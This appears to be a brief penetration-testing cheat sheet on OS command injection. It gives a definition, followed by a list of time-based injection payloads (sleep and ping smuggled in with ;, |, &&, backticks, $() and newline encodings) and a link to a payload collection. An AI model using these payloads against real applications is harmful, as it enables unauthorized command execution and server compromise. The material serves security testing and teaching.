Command Injection

What is command Injection?

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

Context

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

Ways of injecting OS commands Linux/Windows

sleep 10 |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}
& sleep 10 &
&& sleep 10 &&
| sleep 10 |
|| sleep 10 ||

Work only on Unix-based systems

%0A sleep 10 #
; sleep 10 ;
0x0a sleep 10 0x0a
\n sleep 10 \n
` sleep 10 `
$( sleep 10 )

Command Injection Payload List

https://github.com/payloadbox/command-injection-payload-list

Data Exfiltration

Last updated